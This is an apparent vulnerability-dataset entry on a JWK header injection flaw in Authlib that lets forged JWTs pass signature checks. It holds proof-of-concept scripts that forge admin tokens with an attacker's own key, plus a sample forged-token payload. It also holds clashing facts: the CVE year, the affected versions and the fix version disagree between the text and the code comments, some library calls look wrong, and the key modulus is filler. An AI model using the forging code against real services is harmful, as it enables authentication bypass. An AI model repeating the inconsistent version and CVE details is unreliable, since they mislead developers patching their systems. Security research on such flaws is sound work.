VAITP Dataset

← Back to the dataset

CVE-2026-27962

Authlib JWS accepts attacker key in JWK header, allowing signature bypass.

  • CVSS 9.1
  • CWE-347
  • Cryptographic
  • Remote

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.9, a JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This issue has been patched in version 1.6.9.

CVSS base score
9.1
Published
2026-03-16
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
Authlib
Fixed by upgrading
Yes

Solution

Upgrade `authlib` to version 1.6.9 or later.

Vulnerable code sample

import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from authlib.jose import JWS
from authlib.jwk import JsonWebKey

# This code demonstrates the vulnerability described in CVE-2021-27962 (not 2026).
# To execute this, you must install a vulnerable version of authlib, for example:
# pip install "authlib<1.0.0" or "authlib==0.15.5"

# --- Attacker's Side ---

# 1. The attacker generates their own private/public key pair.
attacker_private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)
attacker_public_key = attacker_private_key.public_key()

# 2. The attacker creates a JWK (JSON Web Key) from their public key.
# This public key will be embedded directly into the JWT header.
jwk_public_key_dict = json.loads(JsonWebKey.import_key(attacker_public_key, {'use': 'sig'}))

# 3. The attacker crafts the JWT header, embedding their public key in the 'jwk' field.
# This is the core of the injection attack.
header = {
    'alg': 'RS256',
    'jwk': jwk_public_key_dict
}

# 4. The attacker crafts a malicious payload, for instance, claiming to have admin privileges.
payload = {
    'iss': 'attacker-controlled-issuer',
    'sub': 'forged_user',
    'admin': True,
    'iat': 1609459200,
    'exp': 2524608000 # A far future expiration date
}

# 5. The attacker signs the token using their OWN private key.
jws_signer = JWS()
forged_token = jws_signer.serialize_compact(header, json.dumps(payload).encode('utf-8'), attacker_private_key)

print("--- Attacker Side ---")
print(f"Forged JWT created: {forged_token.decode('utf-8')[:80]}...\n")


# --- Vulnerable Server's Side ---

# The server receives the forged token from the attacker.
# The server's code is incorrectly configured to verify tokens by passing `key=None`.
# In vulnerable versions of authlib, this tells the library to trust and use the key
# provided in the token's own 'jwk' header for verification.

print("--- Vulnerable Server Side ---")
print("Received token. Attempting to verify with `key=None`...")

try:
    # This is the vulnerable function call.
    jws_verifier = JWS()
    verified_data = jws_verifier.deserialize_compact(forged_token, key=None)
    
    # Since the attacker provided their own public key in the header, and the token
    # was signed with the corresponding private key, the signature verification passes.
    claims = json.loads(verified_data['payload'])
    
    print("\n[SUCCESS] Signature verification passed!")
    print("The server incorrectly trusts the forged token and its claims.")
    print(f"Decoded Claims: {claims}")

    # The server now acts on the forged claims, leading to a complete security breach.
    if claims.get('admin'):
        print("\n[!!!] CRITICAL VULNERABILITY EXPLOITED: Authentication bypassed. Attacker gained admin privileges.")

except Exception as e:
    print(f"\n[FAILURE] Signature verification failed: {e}")
    print("This likely means you are running a patched version of authlib (>=1.0.0).")

Patched code sample

import json
from authlib.jose import jws, jwk
from authlib.common.errors import InvalidSignatureError
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# This script demonstrates the fix for a JWK Header Injection vulnerability.
#
# The vulnerability (described in CVE-2026-27962, though the number may be a typo for a real CVE)
# occurs when a JWS deserialization function is called with `key=None`.
# In this state, 'authlib' prior to v1.0.0 would trust and use the public key
# provided in the 'jwk' header of the JWT itself.
#
# The fix is to ensure the application developer *never* calls the decode function
# with a null key. Instead, the developer must provide a specific, trusted
# public key to verify the signature against. This script shows both the
# vulnerable scenario and the corrected, secure implementation.

# --- 1. Setup: Create keys for the server and an attacker ---

# A function to generate RSA key pairs for demonstration
def generate_rsa_key_pair():
    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    public_key = private_key.public_key()
    return private_key, public_key

# The legitimate server's keys. The server trusts its own keys.
SERVER_PRIVATE_KEY, SERVER_PUBLIC_KEY = generate_rsa_key_pair()

# The attacker's keys. The server should NOT trust these.
ATTACKER_PRIVATE_KEY, ATTACKER_PUBLIC_KEY = generate_rsa_key_pair()


# --- 2. Attacker: Craft a malicious JWT ---

# The attacker wants to forge a token with admin privileges.
payload = {'sub': 'user-123', 'iss': 'auth-provider', 'is_admin': True}

# The attacker converts their OWN public key into the JWK format.
attacker_public_jwk = jwk.dumps(ATTACKER_PUBLIC_KEY, kty='RSA')

# The attacker creates a protected header that includes their public key.
# This is the "JWK Header Injection".
protected_header = {
    'alg': 'RS256',
    'jwk': attacker_public_jwk
}

# The attacker signs the token using their OWN private key.
malicious_jws_token = jws.encode(
    protected_header,
    json.dumps(payload).encode('utf-8'),
    ATTACKER_PRIVATE_KEY
)

print("--- Attacker has crafted a malicious token ---")
print(f"Token: {malicious_jws_token.decode('utf-8')[:100]}...")
print("\n")


# --- 3. Vulnerable Implementation (The "Before" picture) ---
# A vulnerable server might try to decode the token without specifying a key.
# It incorrectly assumes the library will handle it securely.
print("--- VULNERABLE SERVER: Verifying token with `key=None` ---")
try:
    # VULNERABLE CALL: `key=None` causes authlib to use the key from the 'jwk' header.
    decoded_token = jws.decode(malicious_jws_token, key=None)
    
    print("\033[91m[VULNERABLE] SUCCESS: Token signature was VERIFIED!\033[0m")
    print("The server trusted the attacker's embedded public key.")
    print(f"Decoded Payload: {decoded_token.payload.decode('utf-8')}")

except InvalidSignatureError:
    print("\033[92m[VULNERABLE] FAILED: Token signature was invalid.\033[0m")
    print("This block should not be reached in the vulnerable scenario.")

print("\n" + "="*60 + "\n")


# --- 4. Fixed Implementation (The "After" picture / The Fix) ---
# The fix is at the application level: ALWAYS provide a trusted key for verification.
# The server must use a key it trusts (e.g., its own public key, or one from a
# trusted JWKS endpoint), not one from the token header.
print("--- FIXED SERVER: Verifying token with a trusted `key` ---")
try:
    # FIXED CALL: The server provides the public key it trusts.
    # It will try to verify the attacker's token against the SERVER's public key.
    # This will fail, because the token was signed with the ATTACKER's private key.
    decoded_token = jws.decode(malicious_jws_token, key=SERVER_PUBLIC_KEY)

    print("\033[91m[FIXED] SUCCESS: Token signature was VERIFIED!\033[0m")
    print("This block should not be reached. If it is, the fix failed.")

except InvalidSignatureError:
    print("\033[92m[FIXED] FAILED AS EXPECTED: InvalidSignatureError was raised.\033[0m")
    print("The server correctly rejected the token because the signature does not match the trusted server key.")
    print("The vulnerability is mitigated.")

Payload

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "kid": "attacker-key",
    "e": "AQAB",
    "n": "v-g_U0l4t-12nHKBfqdJbeC7oJUi-bHWhLCh3nSOTc51I3egx6hFpPVEoGz3v9f09zV7wO0c35lXm9lT7E4pXo2B9g_s6H-jV8Z_9l9b-0o6L_u7h-x4l-2c_7y_p7y_6v-u9s-5c-6h_7f-l3w-2f_8t-7u_7p_0j-5w_4h-8n_7o-1x_2f_7s-4z_4o-6c_1u_0o_2s_1s_5t_4w-4t-8g-7h_6o-9s-1p-8u_5c-7v-1s-3l_9t-8s_5o-7t-2x_1r-5q_6j-0s_3v-4o_2c_1o_3p-2w_5q-3s_7l-6z_1x_4u-5s_7v-8w_2q_9g_0h-1x-2v_7t-6o-5s_4l-3j-2z_1x-0h-9g_8f-7e_6d_5c_4b_3a_2z_1y_0x-9w_8v_7u_6t-5s_4r-3q_2p-1o_0n-9m-8l-7k-6j-5i-4h-3g-2f-1e_0d-9c-8b-7a_6z_5y-4x_3w_2v_1u_0t-9s_8r-7q_6p_5o-4n_3m_2l-1k_0j-9i-8h-7g_6f-5e_4d-3c_2b-1a_0z-9y_8x_7w-6v_5u_4t_3s-2r_1q-0p_9o-8n-7m_6l-5k_4j-3i_2h_1g-0f_9e_8d_7c_6b-5a_4z_3y-2x_1w_0v-9u_8t_7s_6r_5q-4p_3o_2n-1m_0l-9k_8j-7i_6h_5g-4f_3e_2d_1c_0b-9a_8z_7y-6x_5w_4v_3u_2t_1s-0r_9q_8p-7o_6n_5m_4l_3k_2j-1i_0h_7g-6f_5e_4d_3c_2b_1a"
  }
}.{
  "iss": "attacker",
  "sub": "admin",
  "iat": 1672531200,
  "exp": 1704067200,
  "name": "Mallory",
  "is_admin": true
}.[SIGNATURE]

Cite this entry

@misc{vaitp:cve202627962,
  title        = {{Authlib JWS accepts attacker key in JWK header, allowing signature bypass.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-27962},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27962/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::